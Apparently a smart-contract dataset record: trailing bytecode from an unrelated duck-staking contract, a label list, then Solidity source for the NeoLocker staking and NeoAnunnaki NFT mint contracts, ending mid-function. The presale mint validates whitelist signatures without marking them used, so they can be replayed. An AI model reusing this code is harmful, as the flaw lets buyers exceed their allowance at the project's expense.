80910390fd5b60c960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd610e32610f82565b30856040518463ffffffff1660e01b8152600401610e5293929190611f84565b600060405180830381600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b505050506040518060600160405280600115158152602001426affffffffffffffffffffff168152602001610eb3610f82565b73ffffffffffffffffffffffffffffffffffffffff1681525060cf600084815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a8154816affffffffffffffffffffff02191690836affffffffffffffffffffff160217905550604082015181600001600c6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050505050565b600033905090565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081603360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060019054906101000a900460ff1680611076575060008054906101000a900460ff16155b6110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac906120e7565b60405180910390fd5b60008060019054906101000a900460ff161590508015611105576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b61110d6116e7565b801561112e5760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff1680611157575060008054906101000a900460ff16155b611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d906120e7565b60405180910390fd5b60008060019054906101000a900460ff1615905080156111e6576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6111ee6117c8565b6111f66118a1565b80156112175760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff1680611240575060008054906101000a900460ff16155b61127f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611276906120e7565b60405180910390fd5b60008060019054906101000a900460ff1615905080156112cf576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6112d76117c8565b6112df61198a565b80156113005760008060016101000a81548160ff0219169083151502179055505b50565b60026097541415611349576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113409061217a565b60405180910390fd5b6002609781905550600060cf60008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a90046affffffffffffffffffffff166affffffffffffffffffffff166affffffffffffffffffffff16815260200160008201600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050905060011515816000015115151461146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190612107565b60405180910390fd5b611472610f82565b73ffffffffffffffffffffffffffffffffffffffff16816040015173ffffffffffffffffffffffffffffffffffffffff16146114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061219a565b60405180910390fd5b60cb5481602001516affffffffffffffffffffff16426115039190612271565b11611543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153a906120c7565b60405180910390fd5b60c960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd308360400151856040518463ffffffff1660e01b81526004016115a693929190611f84565b600060405180830381600087803b1580156115c057600080fd5b505af11580156115d4573d6000803e3d6000fd5b505050506115e182611a7e565b6040518060600160405280600015158152602001426affffffffffffffffffffff168152602001611610610f82565b73ffffffffffffffffffffffffffffffffffffffff1681525060cf600084815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a8154816affffffffffffffffffffff02191690836affffffffffffffffffffff160217905550604082015181600001600c6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090505050600160978190555050565b600060019054906101000a900460ff168061170d575060008054906101000a900460ff16155b61174c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611743906120e7565b60405180910390fd5b60008060019054906101000a900460ff16159050801561179c576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b600160978190555080156117c55760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff16806117ee575060008054906101000a900460ff16155b61182d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611824906120e7565b60405180910390fd5b60008060019054906101000a900460ff16159050801561187d576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b801561189e5760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff16806118c7575060008054906101000a900460ff16155b611906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fd906120e7565b60405180910390fd5b60008060019054906101000a900460ff161590508015611956576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b611966611961610f82565b610f8a565b80156119875760008060016101000a81548160ff0219169083151502179055505b50565b600060019054906101000a900460ff16806119b0575060008054906101000a900460ff16155b6119ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e6906120e7565b60405180910390fd5b60008060019054906101000a900460ff161590508015611a3f576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6000606560006101000a81548160ff0219169083151502179055508015611a7b5760008060016101000a81548160ff0219169083151502179055505b50565b6000611a8982610541565b905060ca60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933836040518363ffffffff1660e01b8152600401611ae8929190611fbb565b600060405180830381600087803b158015611b0257600080fd5b505af1158015611b16573d6000803e3d6000fd5b505050504260cf600084815260200190815260200160002060000160016101000a8154816affffffffffffffffffffff02191690836affffffffffffffffffffff1602179055505050565b600081359050611b7081612605565b92915050565b60008083601f840112611b8857600080fd5b8235905067ffffffffffffffff811115611ba157600080fd5b602083019150836020820283011115611bb957600080fd5b9250929050565b60008083601f840112611bd257600080fd5b8235905067ffffffffffffffff811115611beb57600080fd5b602083019150836001820283011115611c0357600080fd5b9250929050565b600081359050611c198161261c565b92915050565b600060208284031215611c3157600080fd5b6000611c3f84828501611b61565b91505092915050565b60008060008060608587031215611c5e57600080fd5b6000611c6c87828801611b61565b9450506020611c7d87828801611b61565b935050604085013567ffffffffffffffff811115611c9a57600080fd5b611ca687828801611b76565b925092505092959194509250565b600080600080600060808688031215611ccc57600080fd5b6000611cda88828901611b61565b9550506020611ceb88828901611b61565b9450506040611cfc88828901611c0a565b935050606086013567ffffffffffffffff811115611d1957600080fd5b611d2588828901611bc0565b92509250509295509295909350565b60008060208385031215611d4757600080fd5b600083013567ffffffffffffffff811115611d6157600080fd5b611d6d85828601611b76565b92509250509250929050565b600060208284031215611d8b57600080fd5b6000611d9984828501611c0a565b91505092915050565b611dab816122a5565b82525050565b611dba816122b7565b82525050565b611dc9816122c3565b82525050565b611dd881612330565b82525050565b611de781612354565b82525050565b6000611dfa6026836121d5565b9150611e058261241f565b604082019050919050565b6000611e1d6013836121d5565b9150611e288261246e565b602082019050919050565b6000611e406005836121d5565b9150611e4b82612497565b602082019050919050565b6000611e63601a836121d5565b9150611e6e826124c0565b602082019050919050565b6000611e86602e836121d5565b9150611e91826124e9565b604082019050919050565b6000611ea9600f836121d5565b9150611eb482612538565b602082019050919050565b6000611ecc6020836121d5565b9150611ed782612561565b602082019050919050565b6000611eef6005836121d5565b9150611efa8261258a565b602082019050919050565b6000611f12601f836121d5565b9150611f1d826125b3565b602082019050919050565b6000611f356014836121d5565b9150611f40826125dc565b602082019050919050565b611f548161230f565b82525050565b611f6381612319565b82525050565b6000602082019050611f7e6000830184611da2565b92915050565b6000606082019050611f996000830186611da2565b611fa66020830185611da2565b611fb36040830184611f4b565b949350505050565b6000604082019050611fd06000830185611da2565b611fdd6020830184611f4b565b9392505050565b6000602082019050611ff96000830184611db1565b92915050565b60006060820190506120146000830186611db1565b6120216020830185611f5a565b61202e6040830184611da2565b949350505050565b600060208201905061204b6000830184611dc0565b92915050565b60006020820190506120666000830184611dcf565b92915050565b60006020820190506120816000830184611dde565b92915050565b600060208201905081810360008301526120a081611ded565b9050919050565b600060208201905081810360008301526120c081611e10565b9050919050565b600060208201905081810360008301526120e081611e56565b9050919050565b6000602082019050818103600083015261210081611e79565b9050919050565b6000602082019050818103600083015261212081611e9c565b9050919050565b6000602082019050818103600083015261214081611ebf565b9050919050565b6000604082019050818103600083015261216081611ee2565b9050818103602083015261217381611e33565b9050919050565b6000602082019050818103600083015261219381611f05565b9050919050565b600060208201905081810360008301526121b381611f28565b9050919050565b60006020820190506121cf6000830184611f4b565b92915050565b600082825260208201905092915050565b60006121f18261230f565b91506121fc8361230f565b92508261220c5761220b6123f0565b5b828204905092915050565b60006122228261230f565b915061222d8361230f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612266576122656123c1565b5b828202905092915050565b600061227c8261230f565b91506122878361230f565b92508282101561229a576122996123c1565b5b828203905092915050565b60006122b0826122ef565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006affffffffffffffffffffff82169050919050565b600061233b82612342565b9050919050565b600061234d826122ef565b9050919050565b600061235f82612366565b9050919050565b6000612371826122ef565b9050919050565b60006123838261230f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156123b6576123b56123c1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4475636b20616c7265616479207374616b656400000000000000000000000000600082015250565b7f515541434b000000000000000000000000000000000000000000000000000000600082015250565b7f4d696e207374616b652074696d65206e6f742072656163686564000000000000600082015250565b7f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160008201527f647920696e697469616c697a6564000000000000000000000000000000000000602082015250565b7f4475636b206e6f74207374616b65640000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f517561636b000000000000000000000000000000000000000000000000000000600082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f546869732061696e277420796f7572206475636b000000000000000000000000600082015250565b61260e816122a5565b811461261957600080fd5b50565b6126258161230f565b811461263057600080fd5b5056fea264697066735822122014fe4e87f897bdba1936dcb6f8c05afbecb1e78676df5468b9dfc911978f00d264736f6c63430008040033
[ 5, 4, 9, 7 ]
0xf326eb8F7Bc2DB9a10B01a0b0f8d58e579310C01
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./NeoAnunnaki.sol"; /// @title NeoLocker /// @author aceplxx (https://twitter.com/aceplxx) contract NeoLocker is ReentrancyGuard, Ownable { bool public rewardPaused = true; address public genetix; NeoAnunnaki private neoAnunnaki; uint256 public baseReward; // Mapping from token ID to locker address mapping(uint256 => address) private _lockedBy; mapping(address => uint256) public lockedAmount; mapping(address => uint256) public lastClaimed; /* ========== MODIFIERS ========== */ modifier onlyNFTContract() { require(msg.sender == address(neoAnunnaki), "Only NFT Contract"); _; } /* ========== CONSTRUCTOR ========== */ constructor(address _genetix, address payable _neoAnunnaki, uint256 _baseReward){ genetix = _genetix; neoAnunnaki = NeoAnunnaki(_neoAnunnaki); baseReward = _baseReward; } /* ========== OWNER FUNCTIONS ========== */ function toggleRewardPaused() external onlyOwner{ rewardPaused = !rewardPaused; } function setToken(address _token) external onlyOwner{ genetix = _token; } function setNeoNFT(address payable _neoAnunnaki) external onlyOwner{ neoAnunnaki = NeoAnunnaki(_neoAnunnaki); } function clearLock(uint256 _tokenId) external onlyNFTContract{ delete _lockedBy[_tokenId]; } /* ========== PUBLIC READ ========== */ function neoAnunnakiContract() external view returns (address){ return address(neoAnunnaki); } /// @notice get pending reward of a user (if any) /// @param _user wallet address of a user function getPendingReward(address _user) external view returns (uint256 rewards) { rewards = _getPendingReward(_user); } /// @notice check whether an NFT is locked by an address /// @param tokenId NFT token id function lockedBy(uint256 tokenId) external view returns (address) { return _lockedBy[tokenId]; } /* ========== PUBLIC MUTATIVE ========== */ /// @notice lock an NFT to earn $GENETIX, locked NFT is not transferable /// @param tokenId NFT token id to be locked function lock(uint256 tokenId) external nonReentrant { require( neoAnunnaki.ownerOf(tokenId) == msg.sender, "Not owner nor approved" ); require(_lockedBy[tokenId] == address(0), "already locked"); _lockedBy[tokenId] = msg.sender; uint256 reward = _getPendingReward(msg.sender); lastClaimed[msg.sender] = block.timestamp; lockedAmount[msg.sender]++; if (reward > 0 && !rewardPaused) { _harvestReward(reward); } } /// @notice unlock an NFT /// @param tokenId NFT token id to be unlocked function unlock(uint256 tokenId) external nonReentrant { require( neoAnunnaki.exists(tokenId), "Nonexistent token" ); require(_lockedBy[tokenId] == msg.sender, "caller is not locker"); delete _lockedBy[tokenId]; uint256 reward = _getPendingReward(msg.sender); lastClaimed[msg.sender] = block.timestamp; lockedAmount[msg.sender]--; if (reward > 0 && !rewardPaused) { _harvestReward(reward); } } function harvestReward() external { uint256 reward = _getPendingReward(msg.sender); _harvestReward(reward); } /* ========== INTERNAL FUNCTIONS ========== */ function _getPendingReward(address _user) internal view returns (uint256) { return (lockedAmount[_user] * baseReward * (block.timestamp - lastClaimed[_user])) / 86400; } function _harvestReward(uint256 _reward) internal { require(!rewardPaused, "Claiming reward has been paused"); lastClaimed[msg.sender] = block.timestamp; IERC20(genetix).transfer(msg.sender, _reward); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./SignedAllowance.sol"; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./PaymentSplitter.sol"; import "./NeoLocker.sol"; /// @title NeoAnunnaki /// @author aceplxx (https://twitter.com/aceplxx) enum SaleState { Paused, Presale, Public } contract NeoAnunnaki is ERC721A, Ownable, SignedAllowance, PaymentSplitter { /* ========== STORAGE ========== */ SaleState public saleState; NeoLocker private neoLocker; string public baseURI; string public lockedURI; string public contractURI; uint256 public maxPerTx = 3; uint256 public constant MAX_SUPPLY = 3690; uint256 public constant TEAM_RESERVES = 30; uint256 public price = 0.06 ether; bool public notRevealed = true; /* ========== CONSTRUCTOR ========== */ constructor( string memory baseURI_, address allowancesSigner_, address[] memory _payees, uint256[] memory _shares ) ERC721A("Neo Anunnaki", "NEO-ANUNNAKI") PaymentSplitter(_payees, _shares) { baseURI = baseURI_; _setAllowancesSigner(allowancesSigner_); } /* ========== MODIFIERS ========== */ modifier mintCompliance(uint256 _amount){ require(_amount > 0, "Bad mints"); require(totalSupply() + _amount <= MAX_SUPPLY, "Exceeds max supply"); require(_amount <= maxPerTx, "Exceeds max amount"); _; } modifier notPaused(){ require(saleState != SaleState.Paused, "Minting paused"); _; } /* ========== OWNER FUNCTIONS ========== */ /// @notice set the state of the sale /// @param _state the state in int accordingly function setSaleState(SaleState _state) external onlyOwner { saleState = _state; } /// @notice toggle the reveal / unreveal status function toggleReveal() external onlyOwner { notRevealed = !notRevealed; } function setLocker(address _locker) external onlyOwner { neoLocker = NeoLocker(_locker); } function mintConfig( uint256 _price, uint256 _maxPerTx ) external onlyOwner { price = _price; maxPerTx = _maxPerTx; } function setBaseURI(string memory baseURI_) external onlyOwner { baseURI = baseURI_; } function setContractURI(string memory _contractURI) external onlyOwner { contractURI = _contractURI; } /// @notice set lockedURI. If NFT is locked, lockedURI will be displayed instead of baseURI /// @param _lockedURI uri string for the locked NFT function setLockedURI(string memory _lockedURI) external onlyOwner { lockedURI = _lockedURI; } /// @notice sets allowance signer, this can be used to revoke all unused allowances already out there /// @param newSigner the new signer function setAllowancesSigner(address newSigner) external onlyOwner { _setAllowancesSigner(newSigner); } function mintReserves() external onlyOwner { require(saleState == SaleState.Paused, "Not paused"); _safeMint(msg.sender, TEAM_RESERVES); } function withdraw() public virtual override { require(msg.sender == owner(), "Only owner!"); super.withdraw(); } /* ========== PUBLIC READ FUNCTIONS ========== */ function exists(uint256 tokenId) external view returns (bool) { return _exists(tokenId); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "Token does not exist."); if(neoLocker.lockedBy(tokenId) == address(0)) { return notRevealed ? baseURI : bytes(baseURI).length > 0 ? string( abi.encodePacked( baseURI, Strings.toString(tokenId), ".json" ) ) : ""; } else { return lockedURI; } } /* ========== PUBLIC MUTATIVE FUNCTIONS ========== */ /// @notice public mint function /// @param _amount amount of token to mint function mint(uint256 _amount) external payable notPaused mintCompliance(_amount) { require(saleState == SaleState.Public, "Public sale not started"); require(msg.value >= _amount * price, "Insufficient fund"); _safeMint(msg.sender, _amount); } /// @notice presale mint function /// @param nonce the nonce /// @param signature ECDSA based signed whitelist /// @param _amount amount of token to mint function presaleMint(uint256 nonce, bytes memory signature, uint256 _amount) external payable notPaused mintCompliance(_amount) { require(saleState == SaleState.Presale, "Presale not started"); require(msg.value >= _amount * price, "Insufficient fund"); validateSignature(msg.sender, nonce, signature); _safeMint(msg.sender, _amount); } /* ========== INTERNAL FUNCTIONS ========== */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual override { if (neoLocker.lockedBy(startTokenId) != to) { require( neoLocker.lockedBy(startTokenId) == address(0), "Transfer while locked" ); } else { neoLocker.clearLock(startTokenId); } super._beforeTokenTransfers(from, to, startTokenId, quantity); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /// @title SignedAllowance /// @author Simon Fremaux (@dievardump) contract SignedAllowance { using ECDSA for bytes32; // list of already used allowances mapping(bytes32 => bool) public usedAllowances; // address used to sign the allowances address private _allowancesSigner; /// @notice Helper to know allowancesSigner address /// @return the allowance signer address function allowancesSigner() public view virtual returns (address) { return _allowancesSigner; } /// @notice Helper that creates the message that signer needs to sign to allow a mint /// this is usually also used when creating the allowances, to ensure "message" /// is the same /// @param account the account to allow /// @param nonce the nonce /// @return the message to sign function createMessage(address account, uint256 nonce) public view returns (bytes32) { return keccak256(abi.encode(account, nonce, address(this))); } /// @notice Helper that creates a list of messages that signer needs to sign to allow mintings /// @param accounts the accounts to allow /// @param nonces the corresponding nonces /// @return messages the messages to sign function createMessages(address[] memory accounts, uint256[] memory nonces) external view returns (bytes32[] memory messages) { require(accounts.length == nonces.length, '!LENGTH_MISMATCH!'); messages = new bytes32[](accounts.length); for (uint256 i; i < accounts.length; i++) { messages[i] = createMessage(accounts[i], nonces[i]); } } /// @notice This function verifies that the current request is valid /// @dev It ensures that _allowancesSigner signed a message containing (account, nonce, address(this)) /// and that this message was not already used /// @param account the account the allowance is associated to /// @param nonce the nonce associated to this allowance /// @param signature the signature by the allowance signer wallet /// @return the message to mark as used function validateSignature( address account, uint256 nonce, bytes memory signature ) public view returns (bytes32) { return _validateSignature(account, nonce, signature, allowancesSigner()); } /// @dev It ensures that signer signed a message containing (account, nonce, address(this)) /// and that this message was not already used /// @param account the account the allowance is associated to /// @param nonce the nonce associated to this allowance /// @param signature the signature by the allowance signer wallet /// @param signer the signer /// @return the message to mark as used function _validateSignature( address account, uint256 nonce, bytes memory signature, address signer ) internal view returns (bytes32) { bytes32 message = createMessage(account, nonce) .toEthSignedMessageHash(); // verifies that the sha3(account, nonce, address(this)) has been signed by signer require(message.recover(signature) == signer, '!INVALID_SIGNATURE!'); // verifies that the allowances was not already used require(usedAllowances[message] == false, '!ALREADY_USED!'); return message; } /// @notice internal function that verifies an allowance and marks it as used /// this function throws if signature is wrong or this nonce for this user has already been used /// @param account the account the allowance is associated to /// @param nonce the nonce /// @param signature the signature by the allowance wallet function _useAllowance( address account, uint256 nonce, bytes memory signature ) internal { bytes32 message = validateSignature(account, nonce, signature); usedAllowances[message] = true; } /// @notice Allows to change the allowance signer. This can be used to revoke any signed allowance not already used /// @param newSigner the new signer address function _setAllowancesSigner(address newSigner) internal { _allowancesSigner = newSigner; } } pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "@openzeppelin/contracts/interfaces/IERC721Metadata.sol"; import "@openzeppelin/contracts/interfaces/IERC721Enumerable.sol"; import "@openzeppelin/contracts/interfaces/IERC721Receiver.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex = 0; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require( owner != address(0), "ERC721A: balance query for the zero address" ); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); for (uint256 curr = tokenId; ; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), 